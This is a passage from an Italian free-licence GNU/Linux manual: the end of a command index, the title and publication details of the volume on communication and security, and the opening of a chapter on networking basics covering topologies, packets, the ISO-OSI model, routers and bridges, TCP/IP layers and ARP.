useradd 768 794 795 userdel 796 usermod 796 users 763 UT 503 UTC 503 utente 70 utenza 79 UTF-8 636 *utility* 70 97 utilità 97 utime() 1512 utmp 758 valore di uscita 859 variabile di ambiente 81 851 940 variabile predefinita 1456 *variable bit rate* 1950 2048 VBR 1950 2048 vcs* 652 738 vcsa* 738 vdir 1162 ventola 358 verifica di un *file system* 1040 vesafb 643 VESA local bus 381 VGA 641 VI 141 1321 video 2047 2052 2054 Video electronics standards association 381 VLB 381 VLC 2052 VNC 1823 vnc.conf 1830 vncpasswd 1827 vncrc 1835 vncserver 1825 vorbiscomment 2022 Vorbis Tools 2022 vrms 31 w 763 wait 881 warn() 1529 Wavtools 1987 WAV-RIFF 1965 1967 1987 1987 Wayback Machine 175 wc 1285 Wdm 1815 whatis 164 whereis 1168 which 1168 while 877 1473 Whiptail 951 who 764 whoami 765 Windows 832 Wodim 1099 Worm 1357 Worms 1355 wtmp 758 811 X 1715 1729 X 1734 1736 X.Org 1715 xargs 931 xauth 1739 xbiff 1869 xcalc 1870 xclipboard 1857 xclock 1870 Xdialog 951 Xdm 1812 xdm-config 1812 xdpyinfo 1862 xev 1784 XF86Config 1720 1721 1750 1754 1770 XF86Config-v4 1720 xfd 1860 XFE 1871 xferc 1871 XFig 1883 xfontsel 1859 XFree86 1715 xgrab 1916 xhost 1742 xidle 1869 xinit 1730 xinitrc 1734 xkbcomp 1783 xkbprint 1775 xkill 1869 xload 1869 Xloadimage 1917 Xloadimage 1923 xlsfonts 1859 xmem 1869 Xmms 2030 xmodmap 1784 1786 xon 1743 xorg.conf 1720 1721 Xpaint 1924 xpdf 1620 xrdb 1854 Xrealvnc 1827 xserverrc 1734 Xsession 1810 1815 xset 1864 xsetroot 1866 Xtightvnc 1827 xvidtune 1766 Xvnc 1827 xvncviewer 1831 Xwave 1998 xwd 1915 xwininfo 1861 xwud 1916 y// 1496 yes 950 yuvplay 2059 zcat 1215 zegrep 1394 zfgrep 1394 zgrep 1394 Zinf 2034 2040 Zisofs 1091 1107 Zisofs-tools 1107 " " 1492 <^*c*> 458 <^\> 458 $! 851 $* 851 $0 851 $1 851 $? 851 $BLOCK_SIZE 1155 $DISPLAY 1736 $EDITOR 1351 $ENV 848 $HOSTNAME 554 $LANG 821 $LC_ALL 821 $LC_COLLATE 821 $LC_CTYPE 821 $LC_MONETARY 821 $LC_NUMERIC 821 $LC_TIME 821 $LD_LIBRARY_PATH 228 $LD_PRELOAD 1245 $LESSCHARSET 161 825 $LS_COLORS 1166 $MAIL 760 $OPTARG 888 $OPTIND 888 $PATCH_VERSION_CONTROL 1315 $PATH 1168 $POSIXLY_CORRECT 1069 1071 1155 1167 1379 $PRINTER 1642 $SIMPLE_BACKUP_SUFFIX 1190 1193 1315 $TERM 633 $TERMINFO 631 $TZ 828 $VERSION_CONTROL 1190 1193 1315 $# 851 $@ 851 $$ 851 $- 851 ' ' 1491 -background 1851 -display 1848 -font 1852 -foreground 1851 -geometry 1849 -title 1851 -x 1512 -xrm 1855 [958 ` ` 1492

«a2» 2010.10.10

Volume II

Sistemi GNU/Linux: comunicazione e sicurezza

```
$ ssh root@172.21.11.11
Password: _
```

ISBN 978-88-905012-0-3

Via Morganella Est, 21 -- I-31050 Ponzano Veneto (TV) -- ⟨*appunti2 (ad) gmail·com* ⟩

Il numero ISBN 978-88-905012-0-3 si riferisce all'opera originale in formato elettronico, pubblicata a titolo gratuito.

Per tutti i riferimenti dell'opera si veda ⟨*http://informaticalibera.net*⟩; per essere ridiretti automaticamente all'origine della distribuzione in-linea, si può usare l'indirizzo ⟨*http://appunti2.net*⟩. Al momento della pubblicazione di questa edizione, i punti di distribuzione in-linea più importanti, sono presso Internet Archive (⟨*http://www.archive.org/details/AppuntiDiInformaticaLibera*⟩), il GARR (⟨*http://appuntilinux.mirror.garr.it/mirrors/appuntilinux/*⟩) e ILS (⟨*http://appunti.linux.it*⟩). Tuttavia, per motivi tecnici, l'edizione pubblicata in-linea potrebbe non essere completa di tutti i contenuti, oppure potrebbe non essere sempre aggiornata. Pertanto, chi desidera ricevere **gratuitamente** una copia dell'ultima edizione di «a2» in DVD-ROM può scrivere all'autore, specificando l'indirizzo postale a cui va spedito il materiale:

daniele giacomini
via Morganella EST, 21
31050 Ponzano Veneto (TV)
⟨*appunti2 (ad) gmail·com*⟩

Dal momento che il pacchetto dei sorgenti dell'opera è molto grande (SGML, compilabile con Alml), se si desidera ricevere anche questo, è bene specificarlo.

Successivamente all'edizione 2009.11111 dell'opera (21 luglio 2009), inizia un processo di razionalizzazione con l'eliminazione di molti contenuti non più attuali o non più utili. Chi desidera ricevere una copia della versione 2009.11111 o di versioni precedenti, può farne ugualmente richiesta.

Capitolo 38

Nozioni elementari sulle reti

38.1 Introduzione alle reti 2115

38.1.1 Estensione 2115
38.1.2 Topologia 2116
38.1.3 Pacchetto 2119
38.1.4 Protocollo 2119

38.2 Modello ISO-OSI 2120

38.2.1 Un esempio per associazione di idee 2121
38.2.2 Comunicazione tra i livelli e imbustamento 2122

38.3 Interconnessione tra le reti 2122

38.3.1 Topologia relativa al livello di astrazione 2125

38.4 Introduzione al TCP/IP 2126

38.4.1 ARP 2128
38.4.2 Indirizzi IPv4 2129
38.4.3 Classi di indirizzi IPv4 2131
38.4.4 Indirizzi speciali IPv4 2132
38.4.5 Indirizzi riservati per le reti private 2133
38.4.6 Sottoreti e instradamento 2133
38.4.7 Maschere IP e maschere di rete 2133
38.4.8 Sottoreti particolari in classe C 2134
38.4.9 Indirizzi di rete critici 2136
38.4.10 Nomi di dominio 2137
38.4.11 Servizio di risoluzione dei nomi di dominio 2138
38.4.12 Kernel Linux, configurazione per la rete 2139

38.5 Hardware di rete comune 2139

38.5.1 Nomi di interfaccia 2139
38.5.2 Ethernet: IEEE 802.3/ISO 8802.3 2139
38.5.3 IEEE 802.3/ISO 8802.3: cavi UTP, normali e incrociati 2140

38.6 Hardware di rete più vecchio 2144

38.6.1 IEEE 802.3/ISO 8802.3: dal cavo coassiale al cavo UTP 2144
38.6.2 IEEE 802.3/ISO 8802.3: ripetitori, e limiti di una rete 2146
38.6.3 PLIP 2150

38.7 Definizione dei protocolli e dei servizi 2152

38.7.1 Protocolli di trasporto e di rete 2152

38.7.2 Servizi 2152
38.7.3 Messaggi ICMP 2154

38.8 IPv4: configurazione delle interfacce di rete 2155

38.8.1 Configurazione delle interfacce di rete 2156
38.8.2 Configurazione delle interfacce di rete con un sistema GNU/Linux 2160

38.9 IPv4: instradamento locale 2163

38.9.1 Rete locale 2163
38.9.2 Definizione degli instradamenti nelle reti locali e verifiche con un sistema GNU/Linux 2168
38.9.3 Verifica di un instradamento 2171
38.9.4 ARP 2173

38.10 IPv4: instradamento oltre l'ambito della rete locale 2174

38.10.1 Destinazione irraggiungibile 2175
38.10.2 Router per accedere ad altre reti e instradamento predefinito 2175
38.10.3 Configurazione di un router con un sistema GNU/Linux 2178
38.10.4 Verifica di un instradamento attraverso i router 2182

38.11 Inoltro IP attraverso il NAT/PAT 2184

38.11.1 Instradamento dal router NAT/PAT e verso il router NAT/PAT 2184
38.11.2 Definizione della traduzione degli indirizzi 2185
38.11.3 Configurazione e controllo con iptables 2185
38.11.4 Note finali 2187

38.12 IPv4 con il pacchetto Iproute 2187

38.12.1 Sintassi generale 2187
38.12.2 Configurazione comune delle interfacce di rete 2189
38.12.3 Indirizzi multipli per una stessa interfaccia di rete 2191
38.12.4 ARP 2192
38.12.5 Instradamento 2192

38.13 Introduzione a IPv6 2194

38.13.1 Rappresentazione simbolica di un indirizzo IPv6 2194
38.13.2 Prefissi di indirizzo 2195
38.13.3 Tipi di indirizzi 2196
38.13.4 Allocazione dello spazio di indirizzamento 2196
38.13.5 Indirizzi unicast 2197
38.13.6 Indirizzi multicast 2202
38.13.7 Indirizzi Anycast 2204

38.13.8 Indirizzi IPv6 che incorporano indirizzi IPv4 2204
38.13.9 Tunnel 6to4 2205
38.14 Utilizzo di IPv6 2207
38.14.1 kernel Linux 2207
38.14.2 Preparazione dei file di configurazione 2207
38.14.3 Attivazione di IPv6 e definizione degli indirizzi link-local 2208
38.14.4 Definizione degli indirizzi site-local 2210
38.14.5 Instradamento manuale 2211
38.14.6 Configurazione e instradamento automatici 2212
38.14.7 Tunnel 6to4 2214
38.14.8 Caratteristiche del tunnel per il filtro dei pacchetti IPv4 2223
38.15 Esercitazioni 2224
38.16 Riferimenti 2225

`arp` 2173 `ethers` 2174 `ifconfig` 2156 2160 `if_inet6` 2207 `ip` 2187 2187 `ping` 2172 `protocols` 2152 2207 `radvd.conf` 2212 `route` 2163 2168 `services` 2152 `traceroute` 2182

38.1 Introduzione alle reti

La funzionalità più importante di un sistema Unix, consiste nella possibilità di comunicare attraverso la rete. Ma prima di iniziare a vedere le particolarità delle reti TCP/IP, tipiche degli ambienti Unix, conviene introdurre alcuni concetti generali.

Nell'ambito di questo contesto, il termine ***rete*** si riferisce idealmente a una maglia di collegamenti. In pratica indica un insieme di componenti collegati tra loro in qualche modo a formare un sistema (questo concetto si riferisce alla teoria dei grafi). Ogni ***nodo*** di questa rete corrisponde generalmente a un elaboratore, il quale viene spesso definito *host* (elaboratore *host*) o anche ***stazione***; i collegamenti tra questi nodi di rete consentono il passaggio di dati in forma di ***pacchetti***.

38.1.1 Estensione

Una rete può essere più o meno estesa; in tal senso si usano degli acronimi standard:

- **LAN, *Local area network*, rete locale**

  quando la rete è contenuta nell'ambito di un edificio, o di un piccolo gruppo di edifici adiacenti;

- **MAN, *Metropolitan area network*, rete metropolitana**

  quando la rete è composta dall'unione di più LAN nell'ambito della stessa area metropolitana, in altri termini si tratta di una rete estesa sul territorio di una città;

- **WAN, *Wide area network*, rete geografica**

  quando la rete è composta dall'unione di più MAN ed eventualmente anche di LAN, estendendosi geograficamente oltre l'ambito di una città singola.

Nelle situazioni più comuni si ha a che fare soltanto con i termini LAN e WAN, in quanto si distingue la competenza per la gestione della rete nell'ambito locale rispetto all'esterno, coincidente generalmente con Internet, ovvero la rete WAN più importante.

Figura 38.1. Nelle situazioni più comuni, si hanno delle reti LAN, più o meno estese, collegate a Internet (WAN) attraverso un router.

38.1.2 Topologia

Il modo in cui i componenti di una rete sono collegati tra di loro, nel senso della disposizione ideale che questi hanno, viene definito generalmente attraverso quella che è nota come ***topologia di rete***. Ci sono tre tipi fondamentali di topologia di rete: stella, anello e bus.

Si ha una rete a stella quando tutti i componenti periferici sono connessi a un nodo principale in modo indipendente dagli altri. Così, tutte le comunicazioni passano per il nodo centrale e in pratica sono gestite completamente da questo. Rientra in questa categoria il collegamento ***punto-punto***, o *point-to-point*, in cui sono collegati solo due nodi di rete.

Figura 38.2. A sinistra, topologia a stella; a destra, topologia ad anello.

Si ha una rete ad anello quando tutti i nodi sono connessi tra loro in sequenza, in modo da formare un anello ideale, dove ognuno ha un contatto diretto solo con il precedente e il successivo. In questo modo, la comunicazione avviene (almeno in teoria) a senso unico e ogni nodo ritrasmette al successivo i dati che non sono destinati allo stesso.

Si ha una rete a bus quando la connessione dei nodi è condivisa da tutti.

Figura 38.3. Topologia a bus.

La topologia di rete va considerata in riferimento al livello di astrazione di proprio interesse. Per esempio, la visione di un elettricista che dispone i cavi in un edificio è diversa, generalmente, da quella dell'amministratore di rete.

Figura 38.4. Questo tipo di rete, sul piano puramente fisico si può considerare a stella, mentre per ciò che riguarda la comunicazione dei pacchetti di dati, si può considerare a bus, perché il ripetitore che si trova al centro non esegue alcuna selezione nelle comunicazioni e riproduce anche le collisioni.

ripetitore

I tre tipi elementari di topologia si possono integrare tra di loro in strutture più complesse; in particolare, quando ci possono essere più percorsi alternativi per raggiungere un certo nodo, si ha normalmente una rete a maglia.

Figura 38.5. Topologia a maglia.

Quando, come caso particolare di una rete a maglia, non ci sono collegamenti ridondanti, si ha una rete ad albero.

Figura 38.6. Topologia ad albero.

38.1.3 Pacchetto

I dati viaggiano nella rete in forma di ***pacchetti***. Il termine è appropriato perché si tratta di una sorta di confezionamento delle informazioni attraverso cui si definisce il mittente e il destinatario dei dati trasmessi.

Il confezionamento e le dimensioni dei pacchetti dipendono dal tipo di rete fisica utilizzata.

I dati sono un materiale duttile che può essere suddiviso e aggregato in vari modi. Ciò significa che, durante il loro tragitto, i dati possono essere scomposti e ricomposti più volte e in modi differenti. Per esempio, per attraversare un segmento di una rete particolare, potrebbe essere necessario suddividere dei pacchetti troppo grandi in pacchetti più piccoli, oppure potrebbe essere utile il contrario.

In particolare, si parla di ***incapsulamento*** quando i pacchetti vengono inseriti all'interno di altri pacchetti; inoltre si parla di ***tunnel*** quando questa tecnica viene usata in modo sistematico tra due punti.

A questo punto, dovrebbe essere evidente che il significato del termine pacchetto può avere valore solo in riferimento a un contesto preciso. Sui documenti che trattano delle reti in modo più approfondito, si parla anche di ***trama*** e di PDU (*Protocol data unit*), ma in generale, se non c'è la necessità di distinguere sfumature particolari di questo problema, è meglio evitare di usare termini che potrebbero creare confusione.

Il termine ***datagramma***, rappresenta il pacchetto di un protocollo non connesso; per questo non va inteso come sinonimo di pacchetto in senso generale.

Quando il tipo di rete ammette la possibilità ai nodi di trasmettere un pacchetto in modo simultaneo, utilizzando lo stesso canale di trasmissione, si può verificare una ***collisione***, ovvero la sovrapposizione di due o più pacchetti, in modo tale da impedirne il riconoscimento. La collisione può verificarsi in presenza di una rete a bus.

Nel modello ISO-OSI che viene descritto nelle sezioni successive, si distinguono diversi livelli di astrazione nella gestione delle reti. Quando si ha a che fare con una rete a bus e il livello di astrazione di proprio interesse è compreso nei primi due (fino al livello «collegamento dati»), allora si può verificare la collisione.

38.1.4 Protocollo

I pacchetti di dati vengono trasmessi e ricevuti in base a delle regole definite da un ***protocollo di comunicazione***.

A qualunque livello dell'esistenza umana è necessario un protocollo per comunicare: in un colloquio tra due persone, colui che parla invia un messaggio all'altra che, per riceverlo, deve ascoltare. Volendo proseguire con questo esempio, si può anche considerare il problema dell'inizio e della conclusione della comunicazione: la persona con cui si vuole comunicare oralmente deve essere raggiunta e si deve ottenere la sua attenzione, per esempio con un saluto; alla fine della comunicazione occorre un modo per definire che il contatto è terminato, con una qualche forma di commiato.

Quanto appena visto è solo una delle tante situazioni possibili. Si può immaginare cosa accada in un'assemblea o in una classe durante una lezione.

La distinzione più importante tra i protocolli è quella che li divide in connessi e non connessi. Il protocollo non connesso, o datagramma, funziona in modo simile all'invio di una cartolina, o di una lettera, dove non è prevista la restituzione all'origine di una conferma della ricezione del messaggio. Il protocollo connesso prevede la conferma dell'invio di un messaggio, la ritrasmissione in caso di errore e la ricomposizione dell'ordine dei pacchetti.

38.2 Modello ISO-OSI

La gestione della comunicazione in una rete è un problema complesso; in passato, questo è stato alla base delle maggiori incompatibilità tra i vari sistemi, a cominciare dalle differenze legate all'hardware.

Il modello OSI (*Open system interconnection*), diventato parte degli standard ISO, scompone la gestione della rete in livelli, o strati (*layer*). Questo modello non definisce uno standard tecnologico, ma un riferimento comune ai concetti che riguardano le reti.

I codici riferiti a standard ISO che riguardano l'insieme della descrizione dei sette livelli OSI sono più di uno; pertanto, è attraverso la sigla ISO-OSI, o simili, che questi vengono identificati di consueto.

I livelli del modello ISO-OSI sono sette e, per tradizione, vanno visti nel modo indicato nell'elenco seguente, dove il primo livello è quello più basso ed è a contatto del supporto fisico di trasmissione, mentre l'ultimo è quello più alto ed è a contatto delle applicazioni utilizzate dall'utente.

Livello	Definizione	Contesto
7	Applicazione	Interfaccia di comunicazione con i programmi (*Application program interface*).
6	Presentazione	Composizione e trasformazione dei dati a vario titolo, compresa la cifratura e decifratura.
5	Sessione	Instaurazione, mantenimento e conclusione delle sessioni di comunicazione.
4	Trasporto	Invio e ricezione di dati in modo da controllare e, possibilmente, correggere gli errori.
3	Rete	Definizione dei pacchetti, dell'indirizzamento e dell'instradamento in modo astratto rispetto al tipo fisico di comunicazione.

Livello	Definizione	Contesto
2	Collegamento dati (*data link*)	Definizione delle trame (*frame*) e dell'indirizzamento in funzione del tipo fisico di comunicazione.
1	Fisico	Trasmissione dei dati lungo il supporto fisico di comunicazione.

38.2.1 Un esempio per associazione di idee

Per comprendere intuitivamente il significato della suddivisione in livelli del modello ISO-OSI, si può provare a tradurre in questi termini l'azione di intrattenere una corrispondenza cartacea con qualcuno: Tizio scrive a Caio e probabilmente lo stesso fa Caio nei confronti di Tizio.

L'abbinamento che viene proposto non è assoluto o definitivo; quello che conta è soltanto riuscire a comprendere il senso delle varie fasi e il motivo per cui queste esistono nel modello ISO-OSI.

Quando Tizio si accinge a scrivere una lettera a Caio, si trova al livello più alto, il settimo, del modello ISO-OSI. Tizio sa cosa vuole comunicare a Caio, ma non lo fa ancora, perché deve decidere la forma in cui esprimere i concetti sul foglio di carta.

Quando Tizio comincia a scrivere, si trova al livello sesto del modello, perché ha definito il modo in cui il suo pensiero si trasforma in codice su carta. Naturalmente, ciò che scrive deve essere comprensibile a Caio; per esempio, se Tizio scrive normalmente da destra verso sinistra nei suoi appunti personali, deve avere cura di scrivere a Caio usando la forma «standard» (da sinistra verso destra); oppure, se non può fare a meno di scrivere in quel modo, deve provvedere a fare una fotocopia speciale del suo scritto, in modo da raddrizzare il testo.

La lettera che scrive Tizio può essere un messaggio fine a se stesso, per il quale non serve che Caio risponda espressamente, oppure può essere una fase di una serie di lettere che i due devono scriversi per definire ciò che interessa loro. Questa caratteristica riguarda il quinto livello.

Quando Tizio inserisce la sua lettera nella busta, deve decidere che tipo di invio vuole fare. Per esempio può trattarsi di lettera normale, con la quale non può sapere se questa è giunta effettivamente a destinazione, oppure può essere una raccomandata con avviso di ricevimento. Questo problema risiede nel quarto livello.

Infine, Tizio mette l'indirizzo di destinazione e il mittente, quindi mette la busta in una cassetta della posta. Da questo punto in poi, Tizio ignora ciò che accade alla busta contenente la sua lettera diretta a Caio. Questa operazione riguarda il terzo livello.

Il sistema postale che si occupa di prelevare e portare la busta di Tizio all'indirizzo di Caio, è in pratica ciò che corrisponde ai primi due livelli del modello. Per la precisione, il secondo livello richiede la definizione delle coordinate terrestri corrispondenti all'indirizzo. In altri termini, la via e il numero di una certa città, sono un'astrazione umana di ciò che in realtà corrisponde a un punto particolare sul pianeta. Per raggiungere questo punto, il servizio postale si avvale delle vie di comunicazione disponibili: strade, ferrovie, navigazione fluviale, marittima e aerea. In questo senso, le vie di comunicazione e i mezzi di trasporto usati, costituiscono il primo livello del modello di riferimento.

38.2.2 Comunicazione tra i livelli e imbustamento

I dati da trasmettere attraverso la rete, vengono prodotti al livello più alto del modello, quindi, con una serie di trasformazioni e aggiungendo le informazioni necessarie, vengono passati di livello in livello fino a raggiungere il primo, quello del collegamento fisico. Nello stesso modo, quando i dati vengono ricevuti dal livello fisico, vengono passati e trasformati da un livello al successivo, fino a raggiungere l'ultimo.

In questo modo, si può dire che a ogni passaggio verso il basso i pacchetti vengano imbustati in pacchetti (più grandi) del livello inferiore, mentre, a ogni passaggio verso l'alto, i pacchetti vengono estratti dalla busta di livello inferiore. In questa circostanza, si parla preferibilmente di PDU di livello ***n*** (*Protocol data unit*) per identificare il pacchetto realizzato a un certo livello del modello ISO-OSI.

Figura 38.8. Trasformazione dei pacchetti da un livello all'altro.

Nel passaggio da un livello a quello inferiore, l'imbustamento implica un aumento delle dimensioni del pacchetto, ovvero del PDU.[1] Ma oltre a questo, a certi livelli, può essere introdotta la frammentazione e la ricomposizione dei pacchetti, a seconda delle esigenze di questi.

38.3 Interconnessione tra le reti

All'inizio del capitolo sono descritti i tipi elementari di topologia di rete. Quando si vogliono unire due o più reti (o anche degli elaboratori singoli) per formarne una sola più grande, si devono utilizzare dei nodi speciali connessi simultaneamente a tutte le reti da collegare. A seconda del livello su cui intervengono per effettuare questo collegamento, si parla di ripetitore, bridge o router.

Il ripetitore è un componente che collega due reti fisiche intervenendo al primo livello ISO-OSI. In questo senso, il ripetitore non filtra in alcun caso i pacchetti, ma rappresenta semplicemente un modo per allungare un tratto di rete che per ragioni tecniche non potrebbe esserlo diversamente. Il ripetitore tipico è un componente che consente il collegamento di diversi elaboratori assieme.

Figura 38.9. Il ripetitore permette di allungare una rete, intervenendo al primo livello del modello ISO-OSI.

applicazione | applicazione
presentazione | presentazione
sessione | sessione
trasporto | trasporto
rete | rete
collegamento dati | ripetitore | collegamento dati
fisico | fisico | fisico

Il ***bridge*** mette in connessione due (o più) reti limitandosi a intervenire nei primi due livelli del modello ISO-OSI. Di conseguenza, il bridge è in grado di connettere tra loro solo reti fisiche dello stesso tipo. In altri termini, si può dire che il bridge sia in grado di connettere reti separate che hanno uno schema di indirizzamento compatibile.

Il bridge più semplice duplica ogni pacchetto, del secondo livello ISO-OSI, nelle altre reti a cui è connesso; il bridge più sofisticato è in grado di determinare gli indirizzi dei nodi connessi nelle varie reti, in modo da trasferire solo i pacchetti che necessitano questo attraversamento.

Dal momento che il bridge opera al secondo livello ISO-OSI, non è in grado di distinguere i pacchetti in base ai protocolli di rete del terzo livello (TCP/IP, IPX/SPX, ecc.) e quindi trasferisce indifferentemente tali pacchetti.

Teoricamente, possono esistere bridge in grado di gestire connessioni con collegamenti ridondanti, in modo da determinare automaticamente l'itinerario migliore per i pacchetti e da bilanciare il carico di utilizzo tra diverse connessioni alternative. Tuttavia, questo compito viene svolto preferibilmente dai router.

Il bridge più comune corrisponde al commutatore di pacchetto (*switch*) che serve a collegare più elaboratori assieme, riducendo al minimo la possibilità di collisione tra i pacchetti.

Figura 38.10. Il bridge trasferisce PDU di secondo livello; in pratica trasferisce tutti i tipi di pacchetto riferiti al tipo di rete fisica a cui è connesso.

applicazione		applicazione
presentazione		presentazione
sessione		sessione
trasporto		trasporto
rete	bridge	rete
collegamento dati	collegamento dati	collegamento dati
fisico	fisico · fisico	fisico

Il ***router*** mette in connessione due (o più) reti intervenendo al terzo livello del modello ISO-OSI. Di conseguenza, il router è in grado di trasferire solo i pacchetti di un tipo di protocollo di rete determinato (TCP/IP, IPX/SPX, ecc.), indipendentemente dal tipo di reti fisiche connesse effettivamente.[2]

In altri termini, si può dire che il router sia in grado di connettere reti separate che hanno schemi di indirizzamento differenti, ma che utilizzano lo stesso tipo di protocollo di rete al terzo livello ISO-OSI.

Figura 38.11. Il router trasferisce PDU di terzo livello; in pratica trasferisce i pacchetti di un certo tipo di protocollo a livello di rete.

applicazione		applicazione
presentazione		presentazione
sessione		sessione
trasporto	router	trasporto
rete	rete	rete
collegamento dati	c. dati · c. dati	collegamento dati
fisico	fisico · fisico	fisico

L'instradamento dei pacchetti attraverso le reti connesse al router avviene in base a una ta-

bella di instradamento che può anche essere determinata in modo dinamico, in presenza di connessioni ridondanti, come già accennato per il caso dei bridge.

38.3.1 Topologia relativa al livello di astrazione

La topologia di rete può essere considerata al livello fisico, oppure a un livello più alto secondo il modello ISO-OSI. In pratica, quando ci si eleva a un livello superiore, alcuni componenti della rete «scompaiono», perché non vengono più considerati.

A titolo di esempio viene mostrato uno schema in cui appaiono dei nodi, collegati in vari modi tra di loro. Inizialmente, lo schema viene considerato al livello fisico, così si possono individuare anche i domini di collisione, ovvero i gruppi di nodi che possono creare accavallamenti di trasmissioni tra di loro:

dominio di collisione
cavo coassiale
router
bridge
commutatore (switch)
ripetitore
dominio di collisione

Se l'interesse si sposta al secondo livello del modello ISO-OSI, alcuni componenti diventano «trasparenti», in quanto non sono in grado di intervenire a tale livello di astrazione. In questa situazione, i nodi di rete che appartengono a uno stesso dominio di collisione, appaiono come se fossero collocati in una rete a bus:

router
bridge
commutatore (switch)

Se poi ci si vuole elevare al terzo livello di astrazione (rete), nel quale gli indirizzi fisici perdono di importanza, scompare tutto ciò che non ha un indirizzo definito al terzo livello. Naturalmen-

te, in questa situazione, l'apparenza di una rete a bus, non dà più alcuna informazione rispetto ai domini di collisione:

router

38.4 Introduzione al TCP/IP

Il nome TCP/IP rappresenta un sistema di protocolli di comunicazione basati su IP e si tratta di quanto utilizzato normalmente negli ambienti Unix. Il protocollo IP si colloca al terzo livello ISO-OSI, mentre TCP si colloca al di sopra di questo e utilizza IP al livello inferiore. In realtà, il TCP/IP annovera anche altri protocolli importanti, che comunque sono impliciti nella denominazione TCP/IP.

I vari aspetti del sistema di protocolli TCP/IP si possono apprendere mano a mano che si studiano gli indirizzamenti e i servizi di rete che vengono resi disponibili. In questa fase conviene rivedere il modello ISO-OSI in abbinamento al TCP/IP.

Tabella 38.15. Modello ISO-OSI di suddivisione delle competenze di un sistema TCP/IP.

Livello	Definizione	Descrizione
7	Applicazione	Applicazioni.
6	Presentazione	Definizione standard del formato dei dati utilizzati.
5	Sessione	Protocolli dei servizi (FTP, HTTP, SMTP, RPC, ecc.).
4	Trasporto	Protocolli TCP, UDP e ICMP.
3	Rete	Protocollo IP.
2	Collegamento dati	Trasmissione e ricezione dati dipendente dal tipo di hardware.
1	Fisico	Hardware.

A parte la descrizione che si fa nel seguito, il TCP/IP vede in pratica solo quattro livelli, i quali possono incorporare più livelli del modello tradizionale. La figura 38.16 cerca di semplificare questo abbinamento.

Figura 38.16. Abbinamento tra il modello ISO-OSI e la semplicità dei protocolli TCP/IP.

ISO-OSI	TCP/IP
applicazione	*applicazione con il suo protocollo (FTP, HTTP, SMTP, ecc.)*
presentazione	
sessione	
trasporto	*protocolli TCP, UDP, ICMP,...* } TCP/IP
rete	*protocollo IP* } TCP/IP
collegamento dati	*protocollo della rete fisica sottostante*
fisico	

Questo comunque non significa che gli strati del modello tradizionale non esistono. Piuttosto possono essere svolti all'interno di una sola applicazione, oppure sono al di fuori della competenza del protocollo TCP/IP.

1	fisico	Perché si possa avere una connessione con altri nodi, è necessario inizialmente un supporto fisico, composto solitamente da un cavo e da interfacce di comunicazione. La connessione tipica in una rete locale è fatta utilizzando hardware Ethernet. Il cavo o i cavi e le schede Ethernet appartengono a questo primo livello.
2	collegamento dei dati	Il tipo di hardware utilizzato nel primo livello determina il modo in cui avviene effettivamente la comunicazione. Nel caso dell'hardware Ethernet, ogni scheda ha un proprio indirizzo univoco (stabilito dal fabbricante) composto da 48 bit e rappresentato solitamente in forma esadecimale, come nell'esempio seguente: `00:A0:24:77:49:97`
3	rete	Per poter avere un tipo di comunicazione indipendente dal supporto fisico utilizzato, è necessaria un'astrazione che riguarda il modo di inviare blocchi di dati, l'indirizzamento di questi e il loro instradamento. Per quanto riguarda il TCP/IP, questo è il livello del protocollo IP, attraverso il quale vengono definiti gli indirizzi e gli instradamenti relativi. Quando un pacchetto è più grande della dimensione massima trasmissibile in quel tipo di rete fisica utilizzata, è il protocollo IP che si deve prendere cura di scomporlo in segmenti più piccoli e di ricombinarli correttamente alla destinazione.

4	trasporto	A questo livello appartengono i protocolli di comunicazione che si occupano di frammentare e ricomporre i dati, di correggere gli errori e di prevenire intasamenti della rete. I protocolli principali di questo livello sono TCP (*Transmission control protocol*) e UDP (*User datagram protocol*). Il protocollo TCP, in qualità di protocollo connesso, oltre alla scomposizione e ricomposizione dei dati, si occupa di verificare e riordinare i dati all'arrivo: i pacchetti perduti o errati vengono ritrasmessi e i dati finali vengono ricomposti. Il protocollo UDP, essendo un protocollo non connesso, non esegue alcun controllo. I protocolli TCP e UDP introducono, a fianco dell'indirizzo IP, il numero di porta. Il percorso di un pacchetto ha così un'origine, identificata dal numero IP e da una porta, e una destinazione identificata da un altro numero IP e dalla porta relativa. Le porte identificano convenzionalmente dei servizi concessi o richiesti e la gestione di questi riguarda il livello successivo.
5	sessione	Ogni servizio di rete (condivisione del file system, posta elettronica, FTP, ecc.) ha un proprio protocollo, porte di servizio e un meccanismo di trasporto (quelli definiti nel livello inferiore). Ogni sistema può stabilire le proprie regole, anche se in generale è opportuno che i nodi che intendono comunicare utilizzino le stesse porte e gli stessi tipi di trasporto. Questi elementi sono stabiliti dal file '`/etc/services`'. Segue una riga di questo file dove si può osservare che il servizio '**`www`**' (HTTP) utilizza la porta 80 per comunicare e il protocollo di trasporto è il TCP: **`www 80/tcp`** Quando si avvia una comunicazione a questo livello, si parla di sessione. Quindi, si apre o si chiude una sessione.
6	presentazione	I dati che vengono inviati utilizzando le sessioni del livello inferiore devono essere uniformi, indipendentemente dalle caratteristiche fisiche delle macchine che li elaborano. A questo livello si inseriscono normalmente delle librerie in grado di gestire un'eventuale conversione dei dati tra l'applicazione e la sessione di comunicazione.
7	applicazione	L'ultimo livello è quello dell'applicazione che utilizza le risorse di rete. Con la suddivisione delle competenze in così tanti livelli, l'applicazione non ha la necessità di occuparsi della comunicazione; così, in molti casi, anche l'utente può non rendersi conto della sua presenza.

38.4.1 ARP

A livello elementare, la comunicazione attraverso la rete deve avvenire in un modo compatibile con le caratteristiche fisiche di questa. In pratica, le connessioni devono avere una forma di attuazione al secondo livello del modello appena presentato (collegamento dati); i livelli superiori sono solo astrazioni della realtà che c'è effettivamente sotto. Per poter utilizzare un protocollo che si ponga al terzo livello, come nel caso di IP che viene descritto più avanti, occorre un modo per definire un abbinamento tra gli indirizzi di questo protocollo superiore e gli indirizzi fisici delle interfacce utilizzate effettivamente, secondo le specifiche del livello inferiore.

Volendo esprimere la cosa in modo pratico, si può pensare alle interfacce Ethernet, le quali hanno un sistema di indirizzamento composto da 48 bit. Quando con un protocollo di livello 3 (rete) si vuole contattare un nodo identificato in maniera diversa da quanto previsto al livello 2, se non si conosce l'indirizzo Ethernet, ma ammettendo che tale nodo si trovi nella rete fisica

locale, viene inviata una richiesta circolare secondo il protocollo ARP (*Address resolution protocol*).

La richiesta ARP dovrebbe essere ascoltata da tutte le interfacce connesse fisicamente a quella rete fisica e ogni nodo dovrebbe passare tale richiesta al livello 3, in modo da verificare se l'indirizzo richiesto corrisponde al proprio. In questo modo, il nodo che ritiene di essere quello che si sta cercando dovrebbe rispondere, rivelando il proprio indirizzo Ethernet.

